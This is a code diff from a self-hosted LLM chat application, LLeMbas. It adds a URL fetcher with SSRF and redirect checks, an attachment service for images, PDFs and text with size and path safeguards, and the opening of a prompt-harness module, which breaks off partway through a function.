MAX_PAGE_BYTES = 5 * 1024 * 1024
|
||||
MAX_TEXT_CHARS = 120_000
|
||||
MAX_REDIRECTS = 5
|
||||
TIMEOUT = 20.0
|
||||
|
||||
# Sent because a plain httpx user agent is blocked by a good number of sites,
|
||||
# and being honest about what this is beats impersonating a browser.
|
||||
USER_AGENT = "Mozilla/5.0 (compatible; LLeMbas/1.0; +https://github.com/homer/LLeMbas)"
|
||||
|
||||
# <head> goes wholesale, which takes script, style and the title with it. The
|
||||
# title is pulled out of the raw HTML first, so removing it here is what stops
|
||||
# it appearing again as the opening line of the body.
|
||||
_DROPPED = re.compile(
|
||||
r"<(head|script|style|noscript|template|svg)\b[^>]*>.*?</\1>",
|
||||
re.IGNORECASE | re.DOTALL,
|
||||
)
|
||||
_TITLE = re.compile(r"<title[^>]*>(.*?)</title>", re.IGNORECASE | re.DOTALL)
|
||||
|
||||
# Content types that are text but are not spelled `text/*`. The sniff below was
|
||||
# written for "save this page into my library" and refused every one of them,
|
||||
# which meant every JSON API there is -- wrong for the link-attach path already,
|
||||
# and unusable once a model can ask for a URL itself. Widened by exactly this
|
||||
# list plus the `+json` / `+xml` suffixes, and no further: images, PDFs and
|
||||
# application/octet-stream still raise, because handing a model five megabytes
|
||||
# of binary is the thing the refusal was for.
|
||||
_TEXTUAL = frozenset(
|
||||
{
|
||||
"application/json",
|
||||
"application/xml",
|
||||
"application/xhtml+xml",
|
||||
"application/javascript",
|
||||
"application/x-ndjson",
|
||||
"application/yaml",
|
||||
"application/x-yaml",
|
||||
"application/toml",
|
||||
"application/sql",
|
||||
}
|
||||
)
|
||||
# Tags that end a line of prose. Turning them into newlines before the tags are
|
||||
# stripped is the difference between readable text and one enormous paragraph.
|
||||
_BREAKS = re.compile(
|
||||
r"</(p|div|section|article|li|tr|h[1-6]|blockquote|pre)\s*>|<br\s*/?>",
|
||||
re.IGNORECASE,
|
||||
)
|
||||
|
||||
|
||||
class FetchError(Exception):
|
||||
"""A refused or failed fetch, with a message fit to show a user."""
|
||||
|
||||
def __init__(self, message: str) -> None:
|
||||
super().__init__(message)
|
||||
self.message = message
|
||||
|
||||
|
||||
@dataclass
|
||||
class Fetched:
|
||||
url: str
|
||||
title: str
|
||||
text: str
|
||||
truncated: bool = False
|
||||
|
||||
|
||||
def _is_public(address: str) -> bool:
|
||||
"""Whether an IP is one this server should be willing to fetch from.
|
||||
|
||||
Loopback reaches LLeMbas and every other local service. Private ranges reach
|
||||
the rest of the network the server sits on. Link-local covers cloud metadata
|
||||
endpoints, which is where credentials live.
|
||||
"""
|
||||
try:
|
||||
ip = ipaddress.ip_address(address)
|
||||
except ValueError:
|
||||
return False
|
||||
return not (
|
||||
ip.is_private
|
||||
or ip.is_loopback
|
||||
or ip.is_link_local
|
||||
or ip.is_multicast
|
||||
or ip.is_reserved
|
||||
or ip.is_unspecified
|
||||
)
|
||||
|
||||
|
||||
def check_url(url: str, *, allow_private: bool = False) -> str:
|
||||
"""Validate a URL and return it normalised. Raises FetchError if refused."""
|
||||
try:
|
||||
parsed = urlparse(url.strip())
|
||||
except ValueError as exc:
|
||||
raise FetchError("That does not look like a URL.") from exc
|
||||
|
||||
if parsed.scheme not in ("http", "https"):
|
||||
raise FetchError("Only http and https addresses can be fetched.")
|
||||
if not parsed.hostname:
|
||||
raise FetchError("That URL has no host.")
|
||||
|
||||
if not allow_private:
|
||||
try:
|
||||
# Resolved, not parsed: a hostname pointing at 127.0.0.1 is the
|
||||
# obvious way past a check that only looks at the text of the URL.
|
||||
resolved = socket.getaddrinfo(parsed.hostname, None)
|
||||
except socket.gaierror as exc:
|
||||
raise FetchError(f"Could not resolve {parsed.hostname}.") from exc
|
||||
|
||||
addresses = {info[4][0] for info in resolved}
|
||||
# Every address, not any: a name resolving to one public and one private
|
||||
# address must not be usable to reach the private one.
|
||||
if not addresses or not all(_is_public(address) for address in addresses):
|
||||
raise FetchError(
|
||||
f"{parsed.hostname} resolves to a private or local address. "
|
||||
"An administrator can allow this under Admin → Web search if "
|
||||
"fetching from this network is intended."
|
||||
)
|
||||
|
||||
return urlunparse(parsed)
|
||||
|
||||
|
||||
def html_to_text(html: str) -> tuple[str, str]:
|
||||
"""Reduce a page to (title, text)."""
|
||||
title_match = _TITLE.search(html)
|
||||
title = ""
|
||||
if title_match:
|
||||
title = " ".join(nh3.clean(title_match.group(1), tags=set()).split())
|
||||
|
||||
body = _DROPPED.sub(" ", html)
|
||||
body = _BREAKS.sub("\n", body)
|
||||
# nh3 with no allowed tags leaves the text and escapes nothing structural;
|
||||
# it is the same sanitiser the rest of the application trusts.
|
||||
body = nh3.clean(body, tags=set(), attributes={})
|
||||
|
||||
import html as html_module
|
||||
|
||||
body = html_module.unescape(body)
|
||||
lines = [" ".join(line.split()) for line in body.splitlines()]
|
||||
# Collapse runs of blank lines, which a stripped page is mostly made of.
|
||||
text, blank = [], False
|
||||
for line in lines:
|
||||
if line:
|
||||
text.append(line)
|
||||
blank = False
|
||||
elif not blank:
|
||||
text.append("")
|
||||
blank = True
|
||||
|
||||
return title, "\n".join(text).strip()
|
||||
|
||||
|
||||
async def fetch(url: str, *, allow_private: bool = False) -> Fetched:
|
||||
"""Retrieve a page and reduce it to text.
|
||||
|
||||
Redirects are followed by hand so every hop can be checked. httpx's own
|
||||
following would validate the first address and then happily land on
|
||||
localhost.
|
||||
"""
|
||||
current = check_url(url, allow_private=allow_private)
|
||||
|
||||
try:
|
||||
async with httpx.AsyncClient(
|
||||
timeout=TIMEOUT, follow_redirects=False, headers={"User-Agent": USER_AGENT}
|
||||
) as client:
|
||||
for _ in range(MAX_REDIRECTS + 1):
|
||||
response = await client.get(current)
|
||||
|
||||
if response.is_redirect:
|
||||
location = response.headers.get("location", "")
|
||||
if not location:
|
||||
raise FetchError("That page redirected to nowhere.")
|
||||
current = check_url(
|
||||
str(response.url.join(location)), allow_private=allow_private
|
||||
)
|
||||
continue
|
||||
|
||||
if response.status_code >= 400:
|
||||
raise FetchError(
|
||||
f"{current} returned HTTP {response.status_code}."
|
||||
)
|
||||
break
|
||||
else:
|
||||
raise FetchError("That page redirected too many times.")
|
||||
except httpx.RequestError as exc:
|
||||
raise FetchError(f"Could not reach {current}: {exc}") from exc
|
||||
|
||||
payload = response.content[:MAX_PAGE_BYTES]
|
||||
content_type = response.headers.get("content-type", "")
|
||||
|
||||
bare = content_type.split(";")[0].strip().lower()
|
||||
if "html" in content_type or payload[:512].lstrip()[:1] == b"<":
|
||||
title, text = html_to_text(payload.decode(response.encoding or "utf-8", "replace"))
|
||||
elif (
|
||||
content_type.startswith("text/")
|
||||
or not content_type
|
||||
or bare in _TEXTUAL
|
||||
or bare.endswith(("+json", "+xml"))
|
||||
):
|
||||
title, text = "", payload.decode(response.encoding or "utf-8", "replace")
|
||||
else:
|
||||
raise FetchError(
|
||||
f"That address is {content_type or 'not text'}, which cannot be saved "
|
||||
"as a page. Attach it as a file instead."
|
||||
)
|
||||
|
||||
truncated = len(text) > MAX_TEXT_CHARS
|
||||
if not text.strip():
|
||||
raise FetchError(
|
||||
"Nothing readable was found at that address. It may be a page that "
|
||||
"builds itself with JavaScript, which this cannot run."
|
||||
)
|
||||
|
||||
return Fetched(
|
||||
url=current,
|
||||
title=title or urlparse(current).netloc or current,
|
||||
text=text[:MAX_TEXT_CHARS],
|
||||
truncated=truncated,
|
||||
)
|
||||
|
||||
|
||||
__all__ = ["FetchError", "Fetched", "check_url", "fetch", "html_to_text"]
|
||||
@@ -0,0 +1,551 @@
|
||||
"""Storing and reading uploaded attachments.
|
||||
|
||||
Three kinds of file, each handled differently on the way to the model:
|
||||
|
||||
* **Images** are downscaled and re-encoded, then sent as multimodal content
|
||||
parts. Downscaling is not cosmetic -- a phone photo is several megabytes of
|
||||
base64, which is both slow and a large slice of the context window.
|
||||
* **PDFs** have their text extracted once, at upload. Extraction is slow and a
|
||||
reply must not silently change because a parser was upgraded later.
|
||||
* **Plain text** (including source code and CSV) is decoded and stored as-is.
|
||||
|
||||
Everything an uploader supplies is treated as hostile: the type is decided by
|
||||
inspecting the bytes rather than trusting the browser, the name on disk is
|
||||
random, and both image dimensions and PDF page counts are capped so a small
|
||||
file cannot expand into an enormous amount of work.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import io
|
||||
import logging
|
||||
import secrets
|
||||
from dataclasses import dataclass
|
||||
from datetime import UTC, datetime, timedelta
|
||||
from pathlib import Path
|
||||
|
||||
from PIL import Image, UnidentifiedImageError
|
||||
from sqlalchemy import select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.config import settings
|
||||
from lembas.db.models import KIND_DOCUMENT, KIND_IMAGE, KIND_TEXT, Attachment
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# --- Limits ------------------------------------------------------------------
|
||||
MAX_UPLOAD_BYTES = 20 * 1024 * 1024
|
||||
|
||||
# Longest edge after downscaling. Large enough for a model to read a screenshot
|
||||
# or a page of text, small enough that the base64 stays reasonable.
|
||||
MAX_IMAGE_EDGE = 1400
|
||||
JPEG_QUALITY = 85
|
||||
|
||||
# Pillow's own guard against decompression bombs: a 60,000x60,000 PNG is a few
|
||||
# KB on disk and hundreds of GB decoded.
|
||||
Image.MAX_IMAGE_PIXELS = 64_000_000
|
||||
|
||||
MAX_PDF_PAGES = 300
|
||||
# Characters of extracted text kept per document. Roughly 30k tokens, which is
|
||||
# already a large slice of most context windows; more is rarely useful and
|
||||
# frequently breaks the request outright.
|
||||
MAX_EXTRACTED_CHARS = 120_000
|
||||
|
||||
# Orphans are files uploaded into a composer that was never sent.
|
||||
ORPHAN_AGE = timedelta(hours=24)
|
||||
|
||||
IMAGE_TYPES: dict[bytes, tuple[str, str]] = {
|
||||
b"\x89PNG\r\n\x1a\n": ("image/png", ".png"),
|
||||
b"\xff\xd8\xff": ("image/jpeg", ".jpg"),
|
||||
b"GIF87a": ("image/gif", ".gif"),
|
||||
b"GIF89a": ("image/gif", ".gif"),
|
||||
}
|
||||
|
||||
# Extensions treated as text when the bytes decode cleanly as UTF-8. The list
|
||||
# exists only to pick a sensible media type; decodability is what actually
|
||||
# decides, so an unlisted extension still works.
|
||||
TEXT_EXTENSIONS = {
|
||||
".txt": "text/plain", ".md": "text/markdown", ".markdown": "text/markdown",
|
||||
".csv": "text/csv", ".tsv": "text/tab-separated-values",
|
||||
".json": "application/json", ".yaml": "text/yaml", ".yml": "text/yaml",
|
||||
".toml": "text/toml", ".ini": "text/plain", ".cfg": "text/plain",
|
||||
".xml": "text/xml", ".html": "text/plain", ".css": "text/plain",
|
||||
".py": "text/x-python", ".js": "text/javascript", ".ts": "text/typescript",
|
||||
".rs": "text/x-rust", ".go": "text/x-go", ".c": "text/x-c", ".h": "text/x-c",
|
||||
".cpp": "text/x-c++", ".java": "text/x-java", ".rb": "text/x-ruby",
|
||||
".sh": "text/x-shellscript", ".sql": "text/x-sql", ".log": "text/plain",
|
||||
}
|
||||
|
||||
|
||||
class FileError(Exception):
|
||||
"""A rejected upload, with a message fit to show the user."""
|
||||
|
||||
|
||||
@dataclass
|
||||
class Prepared:
|
||||
"""The result of inspecting and processing an upload, before it is stored."""
|
||||
|
||||
payload: bytes
|
||||
kind: str
|
||||
media_type: str
|
||||
extension: str
|
||||
width: int = 0
|
||||
height: int = 0
|
||||
extracted_text: str = ""
|
||||
pages: int = 0
|
||||
truncated: bool = False
|
||||
extraction_error: str = ""
|
||||
|
||||
|
||||
# --- Storage -----------------------------------------------------------------
|
||||
def attachments_dir() -> Path:
|
||||
path = settings.uploads_dir / "attachments"
|
||||
path.mkdir(parents=True, exist_ok=True)
|
||||
return path
|
||||
|
||||
|
||||
def stored_path(stored_name: str) -> Path | None:
|
||||
"""Resolve a stored name to a path, refusing anything outside the directory."""
|
||||
if not stored_name or "/" in stored_name or "\\" in stored_name or stored_name.startswith("."):
|
||||
return None
|
||||
base = attachments_dir().resolve()
|
||||
path = (base / stored_name).resolve()
|
||||
try:
|
||||
path.relative_to(base)
|
||||
except ValueError:
|
||||
return None
|
||||
return path if path.is_file() else None
|
||||
|
||||
|
||||
# --- Type detection ----------------------------------------------------------
|
||||
def _detect_image(payload: bytes) -> tuple[str, str] | None:
|
||||
for signature, (media_type, extension) in IMAGE_TYPES.items():
|
||||
if payload.startswith(signature):
|
||||
return media_type, extension
|
||||
if payload[:4] == b"RIFF" and payload[8:12] == b"WEBP":
|
||||
return "image/webp", ".webp"
|
||||
return None
|
||||
|
||||
|
||||
def _looks_like_pdf(payload: bytes) -> bool:
|
||||
# The header is allowed a little leading junk by the spec, and real files
|
||||
# in the wild use it.
|
||||
return b"%PDF-" in payload[:1024]
|
||||
|
||||
|
||||
# --- Processing --------------------------------------------------------------
|
||||
def _process_image(payload: bytes) -> Prepared:
|
||||
try:
|
||||
with Image.open(io.BytesIO(payload)) as image:
|
||||
image.load()
|
||||
has_alpha = image.mode in ("RGBA", "LA", "P") and "transparency" in image.info
|
||||
# Animation is lost on re-encode; keeping only the first frame is
|
||||
# honest and is what a model would see anyway.
|
||||
frame = image.convert("RGBA" if has_alpha else "RGB")
|
||||
|
||||
width, height = frame.size
|
||||
longest = max(width, height)
|
||||
if longest > MAX_IMAGE_EDGE:
|
||||
scale = MAX_IMAGE_EDGE / longest
|
||||
frame = frame.resize(
|
||||
(max(1, int(width * scale)), max(1, int(height * scale))),
|
||||
Image.LANCZOS,
|
||||
)
|
||||
|
||||
buffer = io.BytesIO()
|
||||
if has_alpha:
|
||||
frame.save(buffer, format="PNG", optimize=True)
|
||||
media_type, extension = "image/png", ".png"
|
||||
else:
|
||||
frame.save(buffer, format="JPEG", quality=JPEG_QUALITY, optimize=True)
|
||||
media_type, extension = "image/jpeg", ".jpg"
|
||||
|
||||
return Prepared(
|
||||
payload=buffer.getvalue(),
|
||||
kind=KIND_IMAGE,
|
||||
media_type=media_type,
|
||||
extension=extension,
|
||||
width=frame.width,
|
||||
height=frame.height,
|
||||
)
|
||||
except Image.DecompressionBombError as exc:
|
||||
raise FileError("That image's dimensions are implausibly large.") from exc
|
||||
except (UnidentifiedImageError, OSError, ValueError) as exc:
|
||||
raise FileError("That image could not be read. Is it corrupt?") from exc
|
||||
|
||||
|
||||
def _process_pdf(payload: bytes) -> Prepared:
|
||||
from pypdf import PdfReader
|
||||
from pypdf.errors import PdfReadError
|
||||
|
||||
prepared = Prepared(
|
||||
payload=payload, kind=KIND_DOCUMENT, media_type="application/pdf", extension=".pdf"
|
||||
)
|
||||
|
||||
try:
|
||||
reader = PdfReader(io.BytesIO(payload))
|
||||
if reader.is_encrypted:
|
||||
# An empty password unlocks a surprising number of "encrypted" PDFs.
|
||||
try:
|
||||
reader.decrypt("")
|
||||
except Exception: # noqa: BLE001 - any failure means the same thing
|
||||
prepared.extraction_error = (
|
||||
"This PDF is password-protected, so its text could not be read."
|
||||
)
|
||||
return prepared
|
||||
|
||||
prepared.pages = len(reader.pages)
|
||||
chunks: list[str] = []
|
||||
total = 0
|
||||
|
||||
for index, page in enumerate(reader.pages[:MAX_PDF_PAGES]):
|
||||
try:
|
||||
text = page.extract_text() or ""
|
||||
except Exception as exc: # noqa: BLE001 - one bad page is not fatal
|
||||
log.debug("page %d of a PDF failed to extract: %s", index, exc)
|
||||
continue
|
||||
if not text.strip():
|
||||
continue
|
||||
chunks.append(f"[page {index + 1}]\n{text.strip()}")
|
||||
total += len(text)
|
||||
if total >= MAX_EXTRACTED_CHARS:
|
||||
prepared.truncated = True
|
||||
break
|
||||
|
||||
if prepared.pages > MAX_PDF_PAGES:
|
||||
prepared.truncated = True
|
||||
|
||||
prepared.extracted_text = "\n\n".join(chunks)[:MAX_EXTRACTED_CHARS]
|
||||
|
||||
if not prepared.extracted_text.strip():
|
||||
# Almost always a scan. Saying so beats the model silently ignoring
|
||||
# a document the user believes it can read.
|
||||
prepared.extraction_error = (
|
||||
"No text could be extracted. This looks like a scanned PDF; "
|
||||
"LLeMbas does not do OCR yet."
|
||||
)
|
||||
|
||||
except PdfReadError as exc:
|
||||
prepared.extraction_error = "This file is not a readable PDF."
|
||||
log.info("unreadable PDF: %s", exc)
|
||||
except Exception as exc: # noqa: BLE001 - never let a bad file 500 the upload
|
||||
prepared.extraction_error = "This PDF could not be read."
|
||||
log.warning("unexpected PDF failure: %s", exc)
|
||||
|
||||
return prepared
|
||||
|
||||
|
||||
def _process_text(payload: bytes, filename: str) -> Prepared:
|
||||
for encoding in ("utf-8", "utf-16", "latin-1"):
|
||||
try:
|
||||
text = payload.decode(encoding)
|
||||
break
|
||||
except (UnicodeDecodeError, LookupError):
|
||||
continue
|
||||
else:
|
||||
raise FileError("That file is not text, and is not a format LLeMbas can read.")
|
||||
|
||||
# Null bytes mean this decoded by luck (latin-1 decodes any byte) and is
|
||||
# really a binary file.
|
||||
if "\x00" in text[:4096]:
|
||||
raise FileError("That file is not text, and is not a format LLeMbas can read.")
|
||||
|
||||
truncated = len(text) > MAX_EXTRACTED_CHARS
|
||||
extension = Path(filename).suffix.lower()
|
||||
|
||||
return Prepared(
|
||||
payload=payload,
|
||||
kind=KIND_TEXT,
|
||||
media_type=TEXT_EXTENSIONS.get(extension, "text/plain"),
|
||||
extension=extension if extension in TEXT_EXTENSIONS else ".txt",
|
||||
extracted_text=text[:MAX_EXTRACTED_CHARS],
|
||||
truncated=truncated,
|
||||
)
|
||||
|
||||
|
||||
def prepare(payload: bytes, filename: str) -> Prepared:
|
||||
"""Inspect an upload, decide what it is, and process it accordingly."""
|
||||
if not payload:
|
||||
raise FileError("That file is empty.")
|
||||
if len(payload) > MAX_UPLOAD_BYTES:
|
||||
raise FileError(f"Files must be under {MAX_UPLOAD_BYTES // (1024 * 1024)} MB.")
|
||||
|
||||
if _detect_image(payload) is not None:
|
||||
return _process_image(payload)
|
||||
if _looks_like_pdf(payload):
|
||||
return _process_pdf(payload)
|
||||
return _process_text(payload, filename)
|
||||
|
||||
|
||||
# --- Public API --------------------------------------------------------------
|
||||
def safe_display_name(filename: str) -> str:
|
||||
"""A filename fit to show. Never used as a path; the stored name is random."""
|
||||
cleaned = Path(filename or "file").name.strip() or "file"
|
||||
return cleaned[:300]
|
||||
|
||||
|
||||
def store(
|
||||
db: DBSession,
|
||||
*,
|
||||
user_id: str,
|
||||
chat_id: str | None,
|
||||
payload: bytes,
|
||||
filename: str,
|
||||
) -> Attachment:
|
||||
"""Process and persist an upload. Raises FileError if it is unusable."""
|
||||
prepared = prepare(payload, filename)
|
||||
|
||||
stored_name = f"{secrets.token_hex(16)}{prepared.extension}"
|
||||
(attachments_dir() / stored_name).write_bytes(prepared.payload)
|
||||
|
||||
attachment = Attachment(
|
||||
user_id=user_id,
|
||||
chat_id=chat_id,
|
||||
filename=safe_display_name(filename),
|
||||
stored_name=stored_name,
|
||||
media_type=prepared.media_type,
|
||||
size_bytes=len(prepared.payload),
|
||||
kind=prepared.kind,
|
||||
width=prepared.width,
|
||||
height=prepared.height,
|
||||
extracted_text=prepared.extracted_text,
|
||||
pages=prepared.pages,
|
||||
truncated=prepared.truncated,
|
||||
extraction_error=prepared.extraction_error,
|
||||
)
|
||||
db.add(attachment)
|
||||
db.commit()
|
||||
log.info(
|
||||
"stored %s (%s, %d bytes) for user %s",
|
||||
attachment.filename,
|
||||
attachment.kind,
|
||||
attachment.size_bytes,
|
||||
user_id,
|
||||
)
|
||||
return attachment
|
||||
|
||||
|
||||
def store_text(
|
||||
db: DBSession,
|
||||
*,
|
||||
user_id: str,
|
||||
chat_id: str | None,
|
||||
filename: str,
|
||||
text: str,
|
||||
truncated: bool = False,
|
||||
source_note: str = "",
|
||||
source_path: str = "",
|
||||
source_label: str = "",
|
||||
) -> Attachment:
|
||||
"""Attach text that did not arrive as a file -- a fetched web page.
|
||||
|
||||
Written to disk like any other attachment so it can be downloaded and so
|
||||
there is one cleanup path, rather than a second kind of attachment that
|
||||
exists only in the database.
|
||||
|
||||
`source_note` leads the *text*; `source_path` and `source_label` are
|
||||
columns. The two are not the same thing and both are wanted: the note is
|
||||
prose a model reads inside the document, and the columns become attributes
|
||||
on the tag around it, which is what a reader sees on the chip and what
|
||||
survives if the text is later truncated away from its own first line.
|
||||
"""
|
||||
body = text[:MAX_EXTRACTED_CHARS]
|
||||
payload = body.encode("utf-8")
|
||||
|
||||
stored_name = f"{secrets.token_hex(16)}.txt"
|
||||
(attachments_dir() / stored_name).write_bytes(payload)
|
||||
|
||||
attachment = Attachment(
|
||||
user_id=user_id,
|
||||
chat_id=chat_id,
|
||||
filename=safe_display_name(filename),
|
||||
stored_name=stored_name,
|
||||
media_type="text/plain",
|
||||
size_bytes=len(payload),
|
||||
kind=KIND_TEXT,
|
||||
# The URL leads the text so the model can cite it, and so the reader
|
||||
# can see where an attachment called "Some Page.txt" came from.
|
||||
extracted_text=f"Source: {source_note}\n\n{body}" if source_note else body,
|
||||
truncated=truncated,
|
||||
source_path=source_path[:1000],
|
||||
source_label=source_label[:200],
|
||||
)
|
||||
db.add(attachment)
|
||||
db.commit()
|
||||
return attachment
|
||||
|
||||
|
||||
def copy_attachment(
|
||||
db: DBSession, *, user_id: str, chat_id: str | None, attachment: Attachment
|
||||
) -> Attachment:
|
||||
"""Duplicate something already sent, so it can ride along with a new message.
|
||||
|
||||
A copy and not a second reference to one row: an attachment belongs to the
|
||||
message it was sent with, and sharing one between two would make deleting
|
||||
either of them a question rather than an answer.
|
||||
"""
|
||||
stored_name = ""
|
||||
source = attachments_dir() / attachment.stored_name if attachment.stored_name else None
|
||||
if source is not None and source.exists():
|
||||
stored_name = f"{secrets.token_hex(16)}{Path(source.name).suffix}"
|
||||
(attachments_dir() / stored_name).write_bytes(source.read_bytes())
|
||||
|
||||
copy = Attachment(
|
||||
user_id=user_id,
|
||||
chat_id=chat_id,
|
||||
filename=attachment.filename,
|
||||
stored_name=stored_name,
|
||||
media_type=attachment.media_type,
|
||||
size_bytes=attachment.size_bytes,
|
||||
kind=attachment.kind,
|
||||
width=attachment.width,
|
||||
height=attachment.height,
|
||||
extracted_text=attachment.extracted_text,
|
||||
pages=attachment.pages,
|
||||
truncated=attachment.truncated,
|
||||
extraction_error=attachment.extraction_error,
|
||||
source_path=attachment.source_path,
|
||||
source_label=attachment.source_label,
|
||||
)
|
||||
db.add(copy)
|
||||
db.commit()
|
||||
return copy
|
||||
|
||||
|
||||
def copy_document(
|
||||
db: DBSession, *, user_id: str, chat_id: str | None, document
|
||||
) -> Attachment:
|
||||
"""Copy a library document into a message being composed.
|
||||
|
||||
A copy rather than a reference. History must not change under a conversation
|
||||
because a document was edited or deleted afterwards -- the same reason text
|
||||
is extracted once at upload instead of per request. The bytes are duplicated
|
||||
too, so deleting the document cannot leave a message pointing at nothing.
|
||||
"""
|
||||
from lembas.services.library import documents as documents_service
|
||||
|
||||
stored_name = ""
|
||||
source = documents_service.stored_path(document.stored_name)
|
||||
if source is not None:
|
||||
stored_name = f"{secrets.token_hex(16)}{Path(source.name).suffix}"
|
||||
(attachments_dir() / stored_name).write_bytes(source.read_bytes())
|
||||
|
||||
attachment = Attachment(
|
||||
user_id=user_id,
|
||||
chat_id=chat_id,
|
||||
filename=document.filename or f"{document.title}.txt",
|
||||
stored_name=stored_name,
|
||||
media_type=document.media_type,
|
||||
size_bytes=document.size_bytes,
|
||||
kind=document.kind,
|
||||
width=document.width,
|
||||
height=document.height,
|
||||
extracted_text=document.extracted_text,
|
||||
pages=document.pages,
|
||||
truncated=document.truncated,
|
||||
extraction_error=document.extraction_error,
|
||||
# Where it came from, for the same reason a project file carries it: a
|
||||
# model handed four documents cannot tell which is which, and cannot
|
||||
# name one back when asked to work on it. This was the one attach path
|
||||
# that dropped provenance.
|
||||
source_path=(document.title or "")[:1000],
|
||||
source_label=(document.base.name if document.base else "Knowledge")[:200],
|
||||
)
|
||||
db.add(attachment)
|
||||
db.commit()
|
||||
return attachment
|
||||
|
||||
|
||||
def delete(db: DBSession, attachment: Attachment) -> None:
|
||||
path = stored_path(attachment.stored_name)
|
||||
if path is not None:
|
||||
path.unlink(missing_ok=True)
|
||||
db.delete(attachment)
|
||||
db.commit()
|
||||
|
||||
|
||||
def claim(db: DBSession, *, ids: list[str], user_id: str, message_id: str) -> list[Attachment]:
|
||||
"""Bind pending uploads to the message that was just sent.
|
||||
|
||||
Only unclaimed attachments belonging to this user are taken, so a stray or
|
||||
forged id cannot pull someone else's file into a conversation.
|
||||
"""
|
||||
if not ids:
|
||||
return []
|
||||
|
||||
pending = list(
|
||||
db.scalars(
|
||||
select(Attachment).where(
|
||||
Attachment.id.in_(ids),
|
||||
Attachment.user_id == user_id,
|
||||
Attachment.message_id.is_(None),
|
||||
)
|
||||
)
|
||||
)
|
||||
for attachment in pending:
|
||||
attachment.message_id = message_id
|
||||
db.commit()
|
||||
return pending
|
||||
|
||||
|
||||
def remove_files_for_chats(db: DBSession, chat_ids: list[str]) -> int:
|
||||
"""Unlink the files belonging to these chats' attachments.
|
||||
|
||||
Deleting a Chat cascades to its Message and Attachment *rows* but leaves the
|
||||
files on disk -- only `sweep_orphans` unlinks anything, and it only looks at
|
||||
uploads that were never attached. Anything that deletes chats has to call
|
||||
this first, while the rows still say which files to remove.
|
||||
"""
|
||||
if not chat_ids:
|
||||
return 0
|
||||
|
||||
removed = 0
|
||||
for attachment in db.scalars(select(Attachment).where(Attachment.chat_id.in_(chat_ids))):
|
||||
path = stored_path(attachment.stored_name)
|
||||
if path is not None and path.exists():
|
||||
path.unlink(missing_ok=True)
|
||||
removed += 1
|
||||
return removed
|
||||
|
||||
|
||||
def sweep_orphans(db: DBSession, older_than: timedelta = ORPHAN_AGE) -> int:
|
||||
"""Delete uploads that were never attached to a message.
|
||||
|
||||
A file picked in the composer and then abandoned would otherwise sit on
|
||||
disk forever.
|
||||
"""
|
||||
cutoff = datetime.now(UTC) - older_than
|
||||
orphans = list(db.scalars(select(Attachment).where(Attachment.message_id.is_(None))))
|
||||
|
||||
removed = 0
|
||||
for attachment in orphans:
|
||||
created = attachment.created_at
|
||||
if created.tzinfo is None:
|
||||
created = created.replace(tzinfo=UTC)
|
||||
if created >= cutoff:
|
||||
continue
|
||||
path = stored_path(attachment.stored_name)
|
||||
if path is not None:
|
||||
path.unlink(missing_ok=True)
|
||||
db.delete(attachment)
|
||||
removed += 1
|
||||
|
||||
if removed:
|
||||
db.commit()
|
||||
log.info("swept %d orphaned upload(s)", removed)
|
||||
return removed
|
||||
|
||||
|
||||
def data_uri(attachment: Attachment) -> str | None:
|
||||
"""Base64 data URI for an image, as sent to a vision model.
|
||||
|
||||
A data URI rather than a link back to this server: a local endpoint has no
|
||||
route to LLeMbas, and a hosted one has no credentials for it.
|
||||
"""
|
||||
import base64
|
||||
|
||||
path = stored_path(attachment.stored_name)
|
||||
if path is None:
|
||||
return None
|
||||
encoded = base64.b64encode(path.read_bytes()).decode("ascii")
|
||||
return f"data:{attachment.media_type};base64,{encoded}"
|
||||
@@ -0,0 +1,322 @@
|
||||
"""Telling the model how to use what it has been given.
|
||||
|
||||
A model handed a `tools` array will often ignore it. It answers from recall
|
||||
because that is what it was trained to do, and nothing in the request suggests
|
||||
otherwise. The harness is the part of the prompt that says otherwise: what day it
|
||||
is, one line per tool about *when* to reach for it, the memories, and the list of
|
||||
skills available.
|
||||
|
||||
The text itself is not here. Every piece of it is a fragment in
|
||||
``services/prompts.py``, defaulted there and overridable by an administrator on
|
||||
``/admin/prompts``; this module decides which fragments apply to a given request
|
||||
and what their variables resolve to. That split is what lets a custom tool
|
||||
contribute its own guidance later by registering a fragment source and nothing
|
||||
else.
|
||||
|
||||
**On the "system prompts are precedence, not concatenation" rule.** That rule
|
||||
governs the three authored layers -- instance, model, chat -- and it is untouched
|
||||
here: exactly one of them still wins, and ``chat.effective_system_prompt`` still
|
||||
decides which. This is a different axis. It describes the machinery rather than
|
||||
the behaviour, nobody authored it, and there is nothing for it to disagree with.
|
||||
So it is prepended to whichever authored prompt won, inside one system message,
|
||||
under a heading that makes the seam obvious.
|
||||
|
||||
One system message rather than two because several endpoints reject a second one.
|
||||
The authored prompt goes last, where it is closest to the conversation.
|
||||
|
||||
A model with no tools still gets the core fragments -- the date above all, since
|
||||
it has no clock and is being asked about a present it cannot see. That is a
|
||||
change from the original behaviour, where no tools meant no harness at all;
|
||||
clearing those fragments in the admin page restores it exactly.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from datetime import datetime
|
||||
from typing import Any
|
||||
|
||||
from sqlalchemy import select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import User
|
||||
from lembas.services import prompts, settings_store
|
||||
from lembas.services.library import memories as memories_service
|
||||
from lembas.services.library import skills as skills_service
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# A ceiling on the whole block, so that a large library cannot quietly eat the
|
||||
# context window. Memory and skills have their own caps below this one. An
|
||||
# administrator can lower it; `max_harness_chars` of 0 means "use this".
|
||||
MAX_HARNESS_CHARS = 8000
|
||||
|
||||
# How many attached filenames to name in the prompt. Enough to show what the
|
||||
# tags will look like, few enough that a chat with thirty files does not spend
|
||||
# the window listing them -- this is an explanation, not a manifest.
|
||||
MAX_NAMED_DOCUMENTS = 5
|
||||
|
||||
|
||||
def _families(db: DBSession, tools: list[dict[str, Any]]) -> list[str]:
|
||||
"""Which families are represented in an offered tool list, in a fixed order.
|
||||
|
||||
Resolved against the database rather than the import-time registry, because
|
||||
an administrator-defined tool is a row and would otherwise contribute no
|
||||
family at all -- which is to say its guidance would never be admitted.
|
||||
"""
|
||||
from lembas.services import tools as tools_service
|
||||
|
||||
book = tools_service.registry(db)
|
||||
offered = {
|
||||
book[name].family
|
||||
